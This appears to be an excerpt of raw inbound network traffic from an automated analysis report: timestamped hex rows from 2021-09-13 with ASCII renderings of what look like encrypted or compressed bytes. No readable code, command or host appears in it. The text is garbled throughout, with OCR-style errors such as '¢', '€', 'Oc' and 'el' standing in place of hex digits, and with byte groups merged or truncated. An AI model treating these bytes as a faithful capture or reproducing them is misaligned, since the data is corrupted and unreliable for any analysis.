a9 18 39 b7 93 ca e5 11 8a 8a 62 c1 6¢ €9 d8 48 3e 6f c6 01 83 b1 8e de 0a 9b 23 a0 ce 89 07 f9 b7 88 bl 5¢ 24 47 f2 ed
3f3be3 el fe4leal57c7acae34183fa20126aaaallafd 17 8a19 66 cd d6 83 08 59 64 28 40 5d bf c2 87 4d bf
3e f8 €8 13 d5 75 f8 88 b3 a5 37 le 2f 43 1d 7d 4d 4e 23 bb ¢3 81 4b 01 f4 08 eb 0a 56 8b 75 7b 98 el 7e 8b ea 86 53 66
e9 ac 57 fe b0 7e f8 50 dc 8f 41 e5 33 e3 fe 9e 69 7 54 de al 2f fc 18 6a f0 9b Oe ec 07 06 cf 93 b7 d2 89 09 12 2f 37 c9
50 8b da 60 33 1a 8a 1b 8d 37 92 77 b7 97 82 6d 67 9f 23 00 36 €4 b9 71 37 c4 €0 84 al ae db 21 ed a4 26 20 e2 8c 76 f2
8f Of af a7 85 ef dc 59 39 7e f7 35 c2 de cO c1 d8 df
Data Ascii: 6ykv]e].Hjn4~}gM(P9blH>0#\$G ?;A|zA jfYd(@]M>u7/CIMN#KVu{~SfW~PASiT/j/7P 37wmg#6q7!& vY9~5

2021-09-13 23:07:18 UTC 399 IN Data Raw: 00 88 1b 5c 03 90 7f ec 6¢ a6 35 d9 9f bd 26 a6 be 8f 2f 3f c6 6f Oe fb 93 9b 51 e4 70 2 99 f1 58 f0 a3 df b3 f2
57 85 15 e0 05 c2 ef f4 e2 bc 10 a3 cb 68 7b d7 38 0d 2d 55 e5 72 5f 6b 68 76 13 28 88 3f 54 29 92 be 04 97 8b bd d5 8d
6d 23 e2 fe e4 46 5a 9d 62 48 57 16 85 82 40 84 ed 18 9c a9 98 05 5 c2 e0 a7 9f 77 46 c0 8 15 f2 94 89 6f 1f 6b 17 Of b3
8199 eb e5 37 ed f4 1d 5¢ 66 06 6d e5 cc bc 9f 7b 45 71 dO a8 82 8e f4 07 b8 b6 c1 ee 61 cd fa ab Oc ae 5f d8 11 50 dO 6f
90 8f 78 4d ad e6 b1 5f 58 91 ba 79 49 a6 ea 1d 3d b8 03 1c 89 64 ce e2 42 bb d6 3b 76 0a 81 e6 c4 4d 96 €9 b4 1d 8c 69
c2 54 f6 6e 43 03 ef 55 e3 ea 55 8a 70 8e cd 98 db 73 40 69 3b e4 80 16 0a 60 75 98 Ob 96 88 5f 6e ae 25 10 50 38 b0 66
6e 85 f1 f2 2e d4 3 da 2d d3 58 b6 1a c1 Oc
Data Ascii: \I5&/?0QpXWh{8-Ur_khv(?T)m#FZbHW@wFok7\fm{Eqa_PoxM_Xyl=dB;vMiTnCUUps@i; u_n%P8fn.-X

2021-09-13 23:07:18 UTC 400 IN Data Raw: 1d Ob 48 cc 6d b1 8c 5b cc 40 45 47 df 3e 27 Ob eb Ob 3d b9 42 ca 6b 7b 87 06 e2 5a Oc eb 5e 54 61 8d 76 23
76 0a 3542 ed b2 e7 7c d9 9d 71 f8 72 79 95 91 99 07 b5 3c Oe ec a9 41 20 af 58 ae 21 1e 37 01 df 7d a0 f0 49 13 cc Oc
b9 fb 92 6e 25 25 d2 5f ad {7 fa 15 23 00 ¢9 00 1a 3d 8f 56 €7 7b 5e 8b 3e 5¢ 5c df d8 86 €3 09 14 Oa 70 f0 45 26 33 4d 2a
0f b2 7e e0 31 fb 94 9d bb 5b a8 02 9b 5e 40 5e 94 4b f8 25 19 09 fb df 13 3¢ 44 71 99 96 5 d3 8¢ 65 57 fb 1f 83 2f 15 8f
30 d7 4b 85 5b f8 cc dc 8a 4a b7 7f d2 el bl ab 4b cf aa d1 53 47 74 ff c9 63 e3 b2 41 a7 72 8f 9a cb 05 73 9f a3 01 a3 8f
b4 4f c2 07 fd 8c 5e 2c f9 09 fO 56 36 e2 8¢ 7d 88 d6 b2 de 5b ba 43 da 95 da b9 eb 11 4c 2b db d9 e3 a4 e0 a7 64 4b 3b
316 9d f8 24 e3 0f 98 68 da 1b 29 12 d3 62 f4
Data Ascii: HM[@EG>'=Bk{Z Tav#V5B|qry<A X!17}In%%_#=V{*>\\pE&3M*~1[*@"K%<DqeW/0K[JKSGtcArsOA,V6}[CL+d
K;$h)b

2021-09-13 23:07:18 UTC 402 IN Data Raw: 17 d9 49 28 2e c5 06 c2 34 b8 d3 cf bc 65 fc 32 12 c6 23 36 9a 03 e 89 21 27 cc 87 8b c6 fa 71 1b 93 54 12
98 45 ea eb 3c 26 da bd 79 3d db 9f ad Of ba b0 69 b7 ab cf 68 96 03 1d 43 1c 02 dd 75 fd 4a 6f 39 b1 24 07 6d 7e 71 €3
de be 7c fd 56 46 56 ab 16 51 62 75 67 74 70 23 96 50 37 27 00 ec 74 al 54 9¢ d2 51 5e ac e8 75 1c 15 c1 0d 66 84 a8 b4
98 d0 a0 fc 01 40 72 d4 b7 1a c8 Oa ae 77 f0 32 1c 82 16 7e 93 ce 6d 86 17 a8 0f 31 b6 39 22 38 21 89 00 29 6b 29 4c €3
97 1c ¢l 12 df ¢4 67 92 ec 9d 07 52
Data Ascii: I(.4e2#6!'qTE<&y=ihCuJo9$m~q|VFVQbugtp#P7'TQ Uf@rw2~m19"81)k)LgR

2021-09-13 23:07:18 UTC 402 IN Data Raw: 74 c7 ec 8b 83 31 3e b6 91 86 24 48 72 6e cb ce fa 89 26 76 84 83 0d 2d 9a 3d 6e 9e bc 93 81 43 fc 12 79 e4
5d c5 15 10 ¢8 fb 7e 37 89 b9 b3 72 18 40 25 94 9d 66 5e 48 39 1f 95 bl e0 f2 81 88 69 20 10 66 aa 85 e0 fd 65 2c ee 18
d0 b4 f9 bb bd ¢8 c4 29 9e 45 ef a7 49 bc e7 93 e8 43 €5 9d 77 23 ee cc de Oc 03 50 ad 14 ba 15 97 ¢8 7c ad 39 7f a2 7b
2af1 03 b2 8e 89 38 bf b8 00 d5 al dc fc 54 45 79 1c 5f el 32 e5 8e 82 f4 77 58 42 f5 2e 49 6 6d 20 56 19 2c ce d0 52 1d
6 25 06 45 66 92 9e cd d1 4c 90 8a 6f 9e fc a9 9b 69 15 c4 8¢ 3a cc ¢8 cb dd bl 05 5f 65 4c 4a 76 ba 57 Oc 7b 7e f2 18 19
36 af 01 46 b5 14 7d bb f8 15 79 b8 bf 60 4a a0 f9 3a 89 93 4c 81 03 b5 eb bl f2 7c d9 31 77 f8 72 19 d6 00 a5 ae df 3b Oe
a8 11 c0 4c 57 2a d4 el Oc 98 dc f4 e0 93 8d da
Data Ascii: t1>$Hrn&v-=nCy]~7r@%f"H9i fe,)EICW#P|9{*8TEy_2wXB.Im V,R%EfLoi:_eLIVW{~6F}y J:L|1wr;LW*

2021-09-13 23:07:18 UTC 403 IN Data Raw: 3f 66 95 9e 7e 54 37 27 9e 06 53 16 e7 72 39 e3 29 22 6b 5d ed dd e8 bb 67 9b 93 45 71 cd 1b f6 93 a3 74 ff
59 24 96 5e 46 df 21 9b bc bl 24 2 a6 ef 66 fb 6 4b cf 75 f2 2c a4 15 b5 6e 3e 2d a5 35 92 99 31 a2 7f 36 06 2c 04 8b 97
b9 eb 59 13 24 8e 4b 2a 66 87 2d 23 6¢ a7 c8 08 6f 7a f2 69 80 9e f8 c4 96 38 f8 2c ee 31 7d 72 30 f2 el cc 29 30 7a 7b
9b 89 40 78 e3 ¢7 5¢ 5e 65 b6 85 93 fa 54 56 ba c9 72 a8 11 72 e7 2c 27 bd 46 1b 63 3f 91 99 fe 08 f0 90 3 7f 90 ad c1
e0 d3 ec 79 fe 18 8e 97 8f e7 86 eb 17 ae 94 f0 c7 fO 7f 7c 47 a9 66 bc bb e2 a5 3b e7 55 fa 8¢ d6 49 f1 d7 d6 d8 6c¢ fc 4e
62 bc Ob c2 ee 61 e2 9c e4 eb e7 9b 85 e7 a0 76 1b e5 5a db c4 42 ea 44 3a 16 ca b3 79 3d Oe e4 5¢ 7d cd 81 1b 59 cb
d9 37 66 ce 22 33 73 99 52 19 ee 3f 13 27 el d3 f8 92
Data Ascii: ?f~T7'Sr9)"k]gEqtY $"F!$fKu,n>-516, Y $K*f-#l0zi8,1}r0)0z{@x\"eTVrr,'Fc?y|Gf,UlINbavZBD:y=\} Y 7f'3sR?'
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 404 IN Data Raw: db 77 c3 22 3e 47 dc 9a d5 be 61 80 9a 81 b8 59 3e d8 a7 9a c9 6f e4 58 87 cb c8 8a 92 9a 82 5f 2a 36 d8 92
26 f6 d1 3b 55 15 38 19 ff 85 ef 13 5e b9 5f 3b b0 d9 24 79 68 db ce Oc cb dd 50 cc 3c 08 ce ac f3 18 af 38 d3 5e c4 42 60
b0 1a 83 da 78 ac f3 b8 af ec 1le ce 88 ef 30 47 60 8c a6 le c4 Oa a3 e2 0a a2 11 04 2f 76 10 01 84 e8 Of ec db c4 26 57 4c
5e 42 36 37 aa 5a 51 d5 8a da 62 b6 6f cc e4 72 ba 9c 9a 51 a9 94 22 03 68 ec 01 36 14 5d e0 e2 da 15 7a 5e 58 12 d9 f5
62 4c 27 da 73 eb 05 04 82 68 8b 47 ef ab ec 89 3 13 99 14 7d b6 42 c7 dd 3a 11 69 3a de 6¢ ca 2f 38 bf 1d 06 a3 37 b4
0f 78 €5 d4 3a a6 e6 Oe 2c d6 e0 4d a5 d4 74 40 f3 a7 87 20 f5 d5 23 75 3f 3e ff a6 24 6f df 7a ff a5 51 b2 b8 ff b2 42 e5 Oe
39 a6 d3 74 f6 11 47 eb 90 01 ee c2 2e 40 3f
Data Ascii: w">GaY>0X_*6&;U8"_;$yhP<8"B'X0G /v&WL"B67ZQborQ"h6]z"XbL'shG}B:i:[/87x:,Mt@ #u?>%$0zQB9tGC.@?

2021-09-13 23:07:18 UTC 406 IN Data Raw: ad d5 c1 20 c6 ff 4b 7e 37 c2 1d 6a c3 30 53 c¢2 55 64 99 55 d6 22 15 78 6e 70 72 9e f9 Oe df 7c 37 a4 7d 95 6d
97 7f 36 df 90 6a bb 6b 85 40 Ob 87 68 40 0f 56 ca c1 c0 00 07 93 2f 6f 72 67 f1 7c 56 00 cf c7 13 €7 60 4c 43 bb e7 eb ac
f2 17 ad 39 2b 75 77 22 ae Oc 84 83 79 c¢7 d7 03 4a 3e a3 82 5e 8d 3c al e2 1f 43 6a 23 27 8f 52 45 70 e2 75 d1 35 77 fd
80 5¢ f3 c0 97 44 7c 25 34 ad ac 2a de fd 36 87 03 44 20 d9 81 46 5f 9f dc 13 73 18 ee e0 b0 0a 53 fb 00 17 88 25 d8 a9
€9 78 2f 07 24 e0 61 a6 d7 12 b5 ab 35 a7 a6 5d 41 08 05 96 24 cb 0a 99 f3 2e c4 e7 cc 96 3d c3 5f de 96 9b Oc 97 aa 1d
b2 96 52 87 b2 6¢ 0a cd 16 5e €3 42 36 61 89 6e d6 9b c5 98 1b 31 fa 77 6b 8a 4e 81 89 23 30 3e b6 b7 86 76 49 72 6e
c3 ch 9a 0d 4e 39 6¢ c1 f2 51 c0 26 6b 34 c8 7f c5 2a
Data Ascii: K~7j0SUdU"xnpr|7}m6jk@h@V/org|V'LCO+uw"yJ>"<Cj#'REpuSw\D|%4*6D F_sS%x/$a5]A$.=_RI"B6anl
WKN#0>vIrnN9IQ&k4*

2021-09-13 23:07:18 UTC 407 IN Data Raw: 72 60 4e fb 01 e3 f9 11 4f b1 d2 46 ee 84 fa fO f7 07 44 70 Oe b0 Oa 3a 95 8c 2c 9b d7 43 2a d8 27 57 69 8b of
7a df f0 c7 9b b9 65 c9 07 66 56 2f aa 5d 78 Oe f2 61 1b 82 18 Of 4e 69 66 a2 8e 09 41 e2 58 04 b4 ff c9 c2 a4 e0 4f a4 92
bc a3 57 6b 57 3a 70 c4 cc 8e ca bb 69 87 d2 23 03 27 30 8a ec 6b c0 ab 8 54 e0 ed b2 47 74 0f 4c 9e 57 e2 dc e5 83 2e
8a 85 ad e5 3c a0 46 b5 70 c1 53 a9 84 fc 72 {3 4e dc e7 af 08 88 6a df c5 86 99 22 de 2f 06 9b d9 64 28 46 bd 14 6f a0 f3
d9 27 54 1f 58 9b 4b b8 1b 17 11 85 74 83 d7 d1 e4 9d d5 25 58 76 fd f0 a2 14 d7 19 9f 4b 50 9d dd d8 4e de d8 10 16 1d
€9 d3 7f9d a0 a5 bb 7a b2 56 11 49 ec 11 47 d7 57 d4 4c 93 9c 6f 71 47 49 Oc f2 e5 3d 53 45 91 eb 1a 10 4f 61 cf 3f 12 a5
d2 10 de 1c aa d9 Ob 50 be d4 4d 1e bf ce be
Data Ascii: rrNOFDp:,C*'WizefV/]xaNifAXOWKW:pi#'0kTGtLW.<FpSrN;j'/d(Fo'TXKt%XvKPNzVIGWLoqGI=SEOa?PM

2021-09-13 23:07:18 UTC 408 IN Data Raw: 92 ac c9 62 53 4b f1 8f 6e 0Ob ff ef 60 al 5e 06 d5 7b 73 7f fb 38 e4 52 b2 eb 12 dc 98 df 10 95 5f d8 f4 6f ac c5
4580 93 74 97 33 42 6a 57 1a 88 b0 12 a5 8e ce 5a Oc fd c4 ee cc ¢8 01 Oc 16 28 27 93 0d 9e e7 52 42 90 Oc 88 c4 de 89
ce 62 €9 b0 00 b0 85 ab a2 ef 20 f7 ae 9f a9 le 69 6¢ 00 8f aa 5¢ 80 9b 4a 30 16 12 0Of b6 f8 84 a0 95 9d 78 5d a3 85 95
0d ae 3f 45 47 61 bd 6¢ c5 Oe 97 b5 45 e4 28 cd 6f 10 fO 4b 66 7c 3e 46 4e 67 f4 81 €6 62 cf 21 82 88 69 4f cc 7b 3b 1c 8f
70 93 df ef 1d 46 08 a9 44 9a 2c f4 el cb 2 f9 18 9e 60 88 aa a4 c6 97 e3 a3 51 6b e8 ee 42 90 99 22 34 65 30 61 6¢ Oc
€304 d7 49 0d af c6 00 7e c¢8 15 9d 31 3e f5 92 05 71 81 Oe cd c8 bc df dc 8a 70 ac ea 0d f9 70 eb 07 ea c6 9d 86 12 2d
51 5c cd dc bd e0 cf 56 87 27 b2 00 ee 1a 3c 7a
Data Ascii: bSKn{s8R_0Et3BjWZ('RBb il\J0x]?EGalE (oKf|>FNgb!iO{;pFD, QkB"4e0all~1>gpp-Q\V'<z

2021-09-13 23:07:18 UTC 409 IN Data Raw: ce d6 41 e3 06 73 81 c8 01 62 b7 56 01 bc 84 2d 60 d4 d6 a2 5b 1c 9c d9 62 ea a6 d2 d9 b4 d4 2b 9a el a4 el
a7 e7 a7 b0 14 b9 ce 58 72 7a 4b bc ef 17 9a 59 96 ff 4d 74 42 eb 28 €7 51 al be 92 7d a4 bd 77 ¢6 92 75 9d 87 5f 00 3e
2d c1 9f f9 00 d3 fc b2 13 2a 62 d8 22 7a 32 d7 b8 e6 03 7f €8 8c ae 62 85 ac ae d7 ¢3 59 b0 cb bb be dc 15 29 fd db 83
e2 a3 28 e6 a0 ba 87 16 ac 07 db 68 63 a6 a4 14 17 f6 d5 72 fa 2f de 64 43 3f 2a df ac 6b eb 47 73 d2 3f 0d bd ad 6e e6
4a7d 93 67 28 f2 c7 2c 66 a9 26 f6 22 28 ¢7 66 15 37 ec dd ¢8 15 f7 f0 d2 99 fb 87 08 14 fc 69 01 1b 51 8e 22 11 4b 50 1f
61 70 4c Oa ba 35 ec 96 20 d1 ef 63 5b 36 de 97 b9 32 37 2¢ ¢8 20 43 de de 11 45 e5 45 a6 18 1c b2 28 fb f2 ed dd 12 de
ab 3c a8 9b c0 12 35 46 aa Oc 6f Oc Of a5 6f 32 4b 29
Data Ascii: AsbV-"[b+XrzKYMtB(Q}wu_>-*b"z2bY)(hcr/dC?*kGs?nJ}g(,f&"(f7iQ"KPapL5 c[627, CEE(<5F002K)

2021-09-13 23:07:18 UTC 411 IN Data Raw: 9f 36 b3 4f d8 91 09 c9 dc c3 b2 3e 01 ba 8a 7d 27 93 ac 2b 27 9a d1 63 1b 6f 48 2d 30 57 75 44 17 24 9e fb
5299 d1 d6 80 5a ch e2 5c 8¢ 6f 8d a0 b5 74 cc 21 17 41 al bd b8 10 e0 23 1f bf 2b a9 33 97 90 8d 1d 27 29 58 be ed al
0d af 1a a7 da 9a 43 91 3e 53 99 37 81 bd ce 3a fe 70 7c 90 71 ff e8 c1 44 9a 14 5a 62 41 82 15 32 3d 47 c2 1c Oa a7 dc
42 c5 5c 45 fa 78 1b 22 47 b5 69 92 06 f9 62 95 96 cb f2 c5 5e 6¢ e0 3f cf 7b 10 ec 28 59 9b 02 Oa da cf 1c 5b 1b f6 85 4e
01 a6 db bf 81 4b 80 8e 23 54 30 96 8a 66 36 da €8 ba 06 ea c6 53 5¢ 83 ff 04 41 c5 9e 42 4c 7c 8f 3d a2 ff 76 35 28 27
02 47 a9 33 38 96 e7 52 a2 24 f0 d4 61 38 b2 a8 58 ae fa bb 97 47 56 70 2b 75 25 eb 6a ac 64 40 06 d2 44 f9 2c 13 87 9
8e de 15 7e f1 ee Oe b0 ca 35 8b 45 2a 1a 15 42 1b 37
Data Ascii: 60>}'+'coH-0WUD$RZ\ot!A#+3')XC>S7:p|qDZbA2=GB\EX"GibMN?{(Y[NK#TOf6 S\ABL |=v5('G38R$a8XGVp
+u%jd@D,~5E*B7

2021-09-13 23:07:18 UTC 412 IN Data Raw: Oc e7 9d 2a f9 fd 78 94 38 al e4 12 a8 fb bf db ec 6b a7 27 f7 c2 78 fc ab fc 7c Ob 69 77 99 4a 24 4e fc 1e e2 bf
ad fb b2 8d 51 Oc 77 6d 16 a5 f3 e0 24 d9 32 30 91 73 bb 7e 92 c6 97 ff 9f f5 d6 e0 Oa d4 df 82 66 f9 18 2e 9d 73 7b 7a 37
de fe b7 5d 86 ¢8 74 6b 19 1c 4e 04 3c 9e ¢6 95 41 90 e5 45 21 19 1c b2 d7 e9 b7 2a 6a cb be 99 14 62 b8 08 61 ad ba 9b
cf ea c5 7f 50 d9 be d7 d3 e4 33 92 Ob al 3b 6¢ 21 5e b6 3¢ 73 45 11 7f 34 d9 al 8b 27 2f 16 f5 ¢5 52 79 d9 d3 fd 7c 42 75
75 9c Oc 8d 59 Oc 07 be 35 d2 ec 65 a7 81 b7 29 1f 28 12 00 7b 22 9c eb da d0 bc f2 b2 51 d3 32 5a 1e 65 c1 35 99 66 d9
1d 31 0b Of 6¢ 94 5f 55 ea f7 cd d6 b8 b3 03 9e f5 f5 1d ce 44 d5 08 2f 86 b9 b6 79 8a 40 33 ad 34 eb 55 bc 13 28 84 77
4b fd 1f 6b c5 a2 d6 ff 13 9f a9 a8 e6 96 62
Data Ascii: *x8k'x|iwJSNQwmM$20s~f.s{z7]tkN<AE!*jbaP3;|I"<sE4'/Ry|BuuY5e)({"Q2Ze5f1l_UD/y@34U(wKkb

2021-09-13 23:07:18 UTC 413 IN Data Raw: 51 4b 38 ce ec 9a f4 5d ¢3 56 6¢ 07 5d f7 92 1d dd 5b c3 bf 09 83 ea 03 8c cb a3 82 74 09 41 4f b4 5a 7c b4 Ob
4017 b9 47 69 04 cd 71 53 2¢ 5b ca 7a 16 eb 5¢c 1a b8 04 e8 ab ef ed 4c Oe 3d 62 8f 2e cc 0f a3 90 c4 db 64 23 ef 73 ef Of
6¢ 40 18 24 11 3e b3 da ea cd 98 d9 52 d9 20 f0 66 b9 cc cc 06 09 c5 d7 41 fb d5 f6 37 ¢6 d3 Oe 7f aa dc 16 fc 72 3 4f 87
77 ab 6d aa e4 2c 36 b2 13 14 13 €9 1c f0 4a 47 fe 03 75 51 Oc bb a4 c6 80 a9 96 12 54 c¢3 31 29 db 09 €7 5a 46 €0 17 b0
19 45 ad Ob c4 fb 2e 48 0a 3d ad a5 c6 94 89 61 17 fO 11 4d 2e cf bd 21 7b bc 83 d8 b5 c4 ff 25 40 37 f9 5e 54 7e f2 a7 be
96 9c 7e 74 47 3c 59 f8 9a e7 ab 6b f7 e6 b3 ac 07 e4 4e 2a 4e 4a 72 6e a9 be ea b4 48 5 67 a5 el Of db f6 17 6d 01 5f
¢6 20 ac e9 4b 2f 3e de 2d cd eb dc 68 3d 38
Data Ascii: QK8]VI|[tAOZ|@GigS,[z\L=b.d#sI@$>R fA7rOwm,6JGuQT1)ZFE.H=aM.{% @7 T~~tG<YKN*NJrnHgm_ K/>-
h=8

2021-09-13 23:07:18 UTC 415 IN Data Raw: 61 e7 1d 47 4a 8b 97 87 a3 01 91 e0 54 7d 92 7c Oe 0d ed 25 b7 98 ca c1 77 Oa f4 e2 2f b7 74 03 84 ce al ba
€0 30 f9 4e 66 b4 3f cl ee 61 5b ee 74 22 d8 9f 8d Ob a8 76 1b 85 51 2d c2 42 98 99 9f 6¢ 95 ba 6f 41 f4 93 26 90 7c e6
0d 29 ab cb 68 e4 7d 45 59 ac b9 9a 26 88 38 d8 7d 82 da ee 05 ed 36 a4 ab ce c3 75 a2 34 fd {7 35 2e b1 06 d5 13 72 ed
30 3f e4 54 b2 8b 76 7f 48 a6 96 10 d2 ec 16 da 6a 79 Of 5d 63 84 ac bc fc d1 a0 fc 65 f2 48 d4 b7 29 54 4b e7 8b 9e 5d
5b 21 bl d1 55 32 7e ea 69 93 92 ff df 44 c6 6d 24 76 be 64 a3 13 36 8c 84 ef 63 ea 20 49 ea 7b 96 ee 02 44 83 e4 93 28
f2 43 b9 23 6a 90 ee 4b 24 6b b7 b9 82 4a 4b f9 aa 79 f2 23 72 3d 7d f4 6¢ 69 b9 4b 25 78 6f fe f4 3f fa 9d 82 46 Oc 32 89
af ab f9 e2 bf 2d 2f 02 Ob 63 el c3 e0 6a b4 a7 ba 40
Data Ascii: aGJT}|%w/tONf?a[t"vQ-BloA&|)h}EY &8}6u45.r0?TvHjylceH) TK][!U2~iDm$vdéc {D(C#jK$kIKy#r=}iK%x0?F2-/
cj@
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 416 IN Data Raw: 50 25 20 a8 c1 6¢ 1b 26 aa be 8a 74 dc ee 95 f5 9b 7c de 45 4b 85 3e 44 88 86 1la a5 48 c8 c3 a7 02 ad bb 1d
7419 d8 5e 41 54 9b 96 c6 94 d5 3d 63 94 70 b2 2e 26 07 b9 6f 7d 81 68 86 a0 51 4e 44 37 8b fa f8 32 da 7a c9 e4 5c 4d
477419 a8 cd d8 38 d4 a1 17 f1 9d cb 13 08 5¢ 9d b9 2e fd f1 ac be 98 10 84 93 3f 6e 96 7d 6a 44 58 7b c4 20 99 25 de
29 ae 42 f3d9 72 c8 99 1c 39 8c db el 5d 49 Ob 39 9e b4 35 96 ef 6¢ 83 89 18 d0 06 11 cd 97 6b 5e 16 6a 51 a7 14 a5 df
da 91 90 13 e1 d0 34 1e 68 f8 9f 47 1b 23 75 Oc 68 4c b9 54 f5 a9 63 3b 4b d5 76 27 38 c1 d2 69 63 6f €8 1c 3f 66 el f2 2e
08 32 27 66 1c ba 3b 6¢c b9 53 93 70 d7 10 68 60 b1 17 7f 50 07 fc ec 2f bf 56 83 48 a3 8b 8d f1 20 2a 21 05 aa 53 00 c8
8c e8 c9 5d 5f 11 c4 83 39 34 01 88 6f b5 05 7e 87 13
Data Ascii: P% |&t|EK>DHt*"AT=cp.&0othQND72z\MGt8\.?n}jDX{ %)Br9]195Ik"jQ4hG#uhLTc;Kv'8ico?f.2'f;|Sph ' P/VH *IS]_
940~

2021-09-13 23:07:18 UTC 417 IN Data Raw: d5 5a e4 e8 cc cf 1a b0 08 14 f6 75 ce 4b d1 b6 8b 2c 3f 1d a3 05 71 71 af 0d bd f1 40 ae 45 af b6 73 21 6¢ f4
d9 e0 f6 18 23 57 27 4a 93 3d da 4b 1b 14 36 fe 20 4f d7 8a ef 3e 98 96 e4 65 02 52 74 a7 94 f2 85 31 4c 51 bd 90 f8 49
64 63 6d ce 30 Ob 2f 10 7a 7c f2 47 00 Od 6e 9e ce 1e be 38 97 17 6f 2f fd 3f fa 9d 82 0a 0d 32 89 af 60 57 e2 bf 2d ef €6
1d 4e b7 d0 d9 83 82 94 fb c1 94 7a 8f df a7 d1 05 9d af 73 9b d1 67 f6 39 b4 Of d7 49 f0 50 98 cO 17 6b 35 e6 94 82 b4 99
1f6d 47 68 62 31 61 18 e8 fb 48 65 b6 b3 22 d1 10 69 58 7a a2 7f 12 7d 04 b2 8e eb 2b ad 46 4f 90 €8 b8 c8 67 2a 62 54
04 2c 09 ea ec 85 f0 ba 59 30 87 87 23 bd 6a 36 68 6d d1 b2 f8 ab 55 €0 bb 23 32 d8 e0 €8 be 4b 11 3e 66 7b 11 42 37 ef
13 5e d5 93 ea b5 d9 42 51 93 f2 46 aa b4 be 2b
Data Ascii: ZuK,?qq@Es!#W'J=K6 O>eRt1LQIdcm0/z|Gn8o/?2"W-Nzsg9IPkbmGhblaHe"iXz}+FOg*bT,Y0#6hmU#2K>
f{B7"BQF+

2021-09-13 23:07:18 UTC 418 IN Data Raw: 05 e4 5d 2d 6c¢ fb 9b b4 47 f2 a7 b9 86 89 7c 82 e0 14 cd e5 cf 33 d4 8a Ob d0 66 58 6d al 87 6b 2c 30 d5 46
d8 e5 f5 16 02 e0 d3 7c 4e a0 a5 bb 72 6a b2 10 3b 9e 6e 76 27 2e 9c al b3 66 1d a6 fd 4d dd el e4 3d 45 29 f8 11 6e 5b
89 5b af 8b 81 a0 d2 62 68 a9 22 17 7f 46 20 a2 3c 2a cd 96 c6 85 42 ef 88 e7 a8 52 5b 13 99 fe 9e c8 fe 9a 30 58 94 14
d2 bd 94 ca 01 fa dd dc 03 49 e6 16 93 c3 b0 d9 89 b9 37 01 4d ca e0 c8 cc d6 89 83 1le ec a0 53 f3 3b 28 fc 96 e7 10 e5
85 e4 1a a5 f7 1f 88 8f 9c d2 eb d9 e2 d1 33 f1 48 5b b2 2d e4 63 68 79 d6 4b a8 e6 83 90 03 ¢3 04 a0 73 bd c5 7e b5 d8
9f ae 54 61 03 6e 1d 92 9e Oc 7f 9a 8b 61 3f 3 5d e7 71 59 4f f6 8f 98 44 89 6 65 47 Oe 7d 2c bd a4 c6 e2 19 ff a7 d3 84
b8 4c 1d a5 e4 55 10 eb 78 8a 77 6d e4 e2 2f b7 b4 3f
Data Ascii: ]-IG|3fXmk,0F|Nrj;nv'.fM=E)n[[bh"F <*BR[0XI7MS;(3H[-chyKs~Tana?]qYODeG},LUxwm/?

2021-09-13 23:07:18 UTC 420 IN Data Raw: 01 08 6¢ 20 10 b4 4c le 2afc 17 5e bl 62 6 4b 10 ec a8 f3 3f 27 2a d1 73 b4 d1 e3 94 e6 9a 84 1a 6d 35 Oc 76
d4 64 18 8c ee dd 62 b6 c1 86 3c 8e 7b 38 0d dO ca 60 aa 04 a4 5f 94 Oc cd 70 7c 90 e8 b8 94 3b 02 c2 f9 2c 2a a8 Oe 7a
eb 86 ca 2b c5 5 58 23 ab 2f ¢4 53 0d a6 c0 41 19 1a f6 33 47 ee dd 92 28 83 c6 b7 e4 63 6d aa €9 81 ef 61 2c 60 8c 3a
b0 cf e4 3a al e4 13 08 36 be 59 cc 2a 67 de 7a f2 6a dd 5d a8 01 cd 54 44 75 6d f9 67 Ob 53 f3 14 00 ed d1 50 8c ef 3e
Oe 68 41 99 08 1a 30 c9 e7 76 8a 00 8a 2f 76 ef 6b 43 df Ob ec a9 89 ec be fd 4a 8b 09 ea ae a7 82 d4 8a cc a4 28 09 c5
96 00 ff e4 c5 58 bf fe 3a 74 12 51 b2 69 02 9a 25 fO ¢5 92 09 d9 25 29 36 97 ee c3 25 da 01 2d 52 66 8e d1 8f 47 9d af 21
c6 f4 13 8f e7 21 38 ¢1 61 1b c5 2b 96 55 15 5f 5e
Data Ascii: | L**bK?*sm5vdb<{8"_p|;,*z+X#/SA3G(cma, ::6Y*gzj] TDumgSP>hAO0v/vkCJ(X:tQi%%)6%-RfG!!8a+U_"

2021-09-13 23:07:18 UTC 421 IN Data Raw: al c8 a7 b0 80 9a bd 20 76 c6 f9 d3 fb €9 al 2a e8 59 61 22 4f Oc 2d 66 91 5¢ 89 67 57 c0 40 44 6¢ 22 71 ff 3d
89 b6 3d 06 e7 d1 57 98 69 48 37 80 93 e8 5b 4a €5 6e f6 45 €8 d7 86 9e €8 49 8b a4 bb 7c ¢7 18 06 93 b4 91 d9 6b 6f 92
87 27 69 3c 42 65 50 94 ef f6 15 7¢ 90 f3 8f fc 65 Oe e4 d3 ea b9 26 09 9a 8 f0 d1 04 22 cb 42 77 60 b6 Ob 7f ed fc 10 99
cad7 46 cd 3e e7 5d b7 8d 74 85 ce b7 15 77 61 fc 3c a6 9d be fb 81 64 4d fa 53 e4 d8 ed ff 92 ec 19 1le 93 52 ca ec 54
a7 84 4d 6¢ e7 ¢8 d2 3d al 96 30 ba al 84 1b 87 16 49 68 96 cf 34 a5 84 72 9f 54 48 11 79 16 ed df f8 e0 Oa 18 b2 aa d3
79 74 d0 86 b0 43 1b 44 b4 74 15 06 ef ef e0 3a f2 2b cd e8 60 07 ea 60 96 62 a0 45 86 b5 6f 6f cO ba 4d 92 47 al 4e d1
d2 4e 28 2c bc be b2 1a 15 0a 5f b8 f1 32 0a 1d 74
Data Ascii: v*Ya"O-\gW@DI"q==WiH7[JnEl|ko'i<BeP|e&"Bw’F>]twa<dMSRTMI=0lh4rTHyytCDt:+ "bE0OMGNN(,_2t

2021-09-13 23:07:18 UTC 422 IN Data Raw: 4f 04 4f 7b b4 0d 40 57 b9 9a da 04 cd 30 d2 50 7e 21 66 7c ac 81 66 93 fb fe 3a 9f Oc 3f 79 8f 72 aa 3b 3f 39
cc 8d 31 2f ae ba d0 60 c2 f7 dc 3b 7c 5e ¢4 2d 52 f9 5d ae bd 3a ab ef 13 ed bb cd 59 ¢8 7b f3 d3 a2 f8 ca e6 b7 ea 86 82
